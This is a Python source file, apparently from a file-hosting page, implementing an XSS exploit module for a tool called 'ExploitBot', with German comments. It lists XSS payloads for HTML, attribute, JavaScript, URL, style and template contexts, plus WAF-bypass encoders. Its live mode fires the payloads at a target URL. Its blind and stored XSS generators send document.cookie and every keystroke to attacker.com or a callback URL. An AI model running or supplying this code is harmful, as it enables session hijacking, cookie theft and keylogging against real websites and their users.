Buckets:

download
raw
8.85 kB
#!/usr/bin/env python3
"""
XSS (Cross-Site Scripting) Exploit Module
=========================================
Exploit-Modul für XSS Schwachstellen
Unterstützt:
- Reflected XSS
- Stored XSS
- DOM-based XSS
- Blind XSS
- Mutation XSS
Author: ExploitBot Development Team
Version: 1.0.0
"""
import base64
import sys
import urllib.parse
from typing import Any, Dict
sys.path.append("..")
from exploit_bot import (
ExecutionMode,
ExploitModule,
ExploitPayload,
ExploitResult,
ExploitType,
VulnerabilityContext,
)
class XSSModule(ExploitModule):
"""
XSS Exploit Modul
Features:
- Kontext-bewusste Payload-Generierung
- Verschiedene XSS-Kontexte
- Encoding-Optionen
- WAF-Bypass-Techniken
"""
def __init__(self):
super().__init__(name="XSSModule", exploit_type=ExploitType.XSS)
# Payloads für verschiedene Kontexte
self.payloads = {
"html": [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"<iframe src=javascript:alert('XSS')>",
"<body onload=alert('XSS')>",
"<input onfocus=alert('XSS') autofocus>",
"<details open ontoggle=alert('XSS')>",
"<marquee onstart=alert('XSS')>",
"<video><source onerror=alert('XSS')>",
"<audio src=x onerror=alert('XSS')>",
],
"attribute": [
"\" onmouseover=alert('XSS') \"",
"' onmouseover='alert(\"XSS\")'",
"\" autofocus onfocus=alert('XSS') \"",
"' onerror='alert(\"XSS\")'",
"\" onload=alert('XSS') \"",
],
"javascript": [
"';alert('XSS');//",
"';alert('XSS');var foo='",
"\"><script>alert('XSS')</script>",
"'-alert('XSS')-'",
"';alert(String.fromCharCode(88,83,83));//",
],
"url": [
"javascript:alert('XSS')",
"javascript://%0aalert('XSS')",
"data:text/html,<script>alert('XSS')</script>",
"vbscript:msgbox('XSS')",
],
"style": [
"</style><script>alert('XSS')</script>",
"</style><img src=x onerror=alert('XSS')>",
"expression(alert('XSS'))",
"-moz-binding(url('http://attacker.com/xss.xml#xss'))",
],
"template": [
"{{constructor.constructor('alert(\"XSS\")')()}}",
"${alert('XSS')}",
"<%= alert('XSS') %>",
"#{alert('XSS')}",
],
}
# WAF-Bypass-Techniken
self.waf_bypasses = {
"case_variation": lambda p: p.lower() if "alert" in p else p.upper(),
"encoding": lambda p: urllib.parse.quote(p),
"double_encoding": lambda p: urllib.parse.quote(urllib.parse.quote(p)),
"html_entities": lambda p: "".join(f"&#{ord(c)};" for c in p),
"hex_encoding": lambda p: "".join(f"\\x{ord(c):02x}" for c in p),
"unicode": lambda p: "".join(f"\\u{ord(c):04x}" for c in p),
"base64": lambda p: f"eval(atob('{base64.b64encode(p.encode()).decode()}'))",
}
async def develop_exploit(self, context: VulnerabilityContext) -> Dict[str, Any]:
"""Entwickelt einen XSS Exploit"""
xss_type = context.target_info.get("xss_type", "reflected")
xss_context = context.target_info.get("context", "html")
self.logger.info(f"Entwickle XSS Exploit [Typ: {xss_type}, Kontext: {xss_context}]")
exploit = {
"type": "xss",
"xss_type": xss_type,
"context": xss_context,
"target_url": context.target_url,
"vulnerable_parameter": context.parameters.get("vulnerable_param", "q"),
"payloads": self.payloads.get(xss_context, self.payloads["html"]),
"capabilities": [
"session_hijacking",
"cookie_theft",
"keylogging",
"phishing",
"defacement",
],
"severity": context.severity.name,
"waf_bypass_available": True,
}
return exploit
async def generate_payload(self, context: VulnerabilityContext) -> ExploitPayload:
"""Generiert einen XSS Payload"""
xss_context = context.target_info.get("context", "html")
bypass_technique = context.target_info.get("bypass", None)
# Wähle Basis-Payload
base_payloads = self.payloads.get(xss_context, self.payloads["html"])
base_payload = base_payloads[0] # Standard-Payload
# Wende Bypass-Technik an
if bypass_technique and bypass_technique in self.waf_bypasses:
raw_payload = self.waf_bypasses[bypass_technique](base_payload)
else:
raw_payload = base_payload
return ExploitPayload(
payload_id=f"XSS-{xss_context.upper()}",
exploit_type=ExploitType.XSS,
payload_data=raw_payload,
encoding="raw",
metadata={
"context": xss_context,
"bypass_technique": bypass_technique,
"base_payload": base_payload,
},
)
async def execute(
self,
context: VulnerabilityContext,
payload: ExploitPayload,
mode: ExecutionMode = ExecutionMode.SIMULATION,
) -> ExploitResult:
"""Führt den XSS Exploit aus"""
import time
start_time = time.time()
if mode == ExecutionMode.SIMULATION:
self.logger.info("XSS Exploit im Simulationsmodus")
return ExploitResult(
exploit_id=f"XSS-{self.module_id}",
success=True,
status="simulated",
output=f"Simulierter XSS-Angriff mit Payload: {payload.payload_data[:50]}...",
evidence={
"payload": payload.payload_data,
"target": context.target_url,
"context": payload.metadata.get("context", "html"),
},
duration_ms=(time.time() - start_time) * 1000,
)
# Echte Ausführung
try:
import aiohttp
async with aiohttp.ClientSession() as session:
param_name = context.parameters.get("vulnerable_param", "q")
params = {param_name: payload.payload_data}
async with session.get(
context.target_url,
params=params,
headers=context.headers,
timeout=aiohttp.ClientTimeout(total=30),
) as response:
response_text = await response.text()
# Prüfe, ob Payload in Antwort reflektiert wird
success = payload.payload_data in response_text
return ExploitResult(
exploit_id=f"XSS-{self.module_id}",
success=success,
status="reflected" if success else "not_reflected",
output=f"Payload {'reflektiert' if success else 'nicht reflektiert'}",
evidence={
"reflected": success,
"response_length": len(response_text),
"payload": payload.payload_data,
},
duration_ms=(time.time() - start_time) * 1000,
)
except Exception as e:
return ExploitResult(
exploit_id=f"XSS-{self.module_id}",
success=False,
status="error",
error_message=str(e),
duration_ms=(time.time() - start_time) * 1000,
)
def generate_blind_xss_payload(self, callback_url: str) -> str:
"""Generiert einen Blind XSS Payload mit Callback"""
return f"<script>fetch('{callback_url}?cookie='+document.cookie)</script>"
def generate_stored_xss_payload(self, action: str = "alert", data: str = "XSS") -> str:
"""Generiert einen Stored XSS Payload"""
payloads = {
"alert": f"<script>alert('{data}')</script>",
"redirect": f"<script>window.location='{data}'</script>",
"cookie": "<script>document.location='http://attacker.com/?c='+document.cookie</script>",
"keylogger": """<script>
document.onkeypress = function(e) {
fetch('http://attacker.com/k?k='+e.key);
}
</script>""",
}
return payloads.get(action, payloads["alert"])

Xet Storage Details

Size:
8.85 kB
·
Xet hash:
89da229c46eb6b17a69cf5df251f2e76a803bb3dbcb5ac77802486eae362f5cc

Xet efficiently stores files, intelligently splitting them into unique chunks and accelerating uploads and downloads. More info.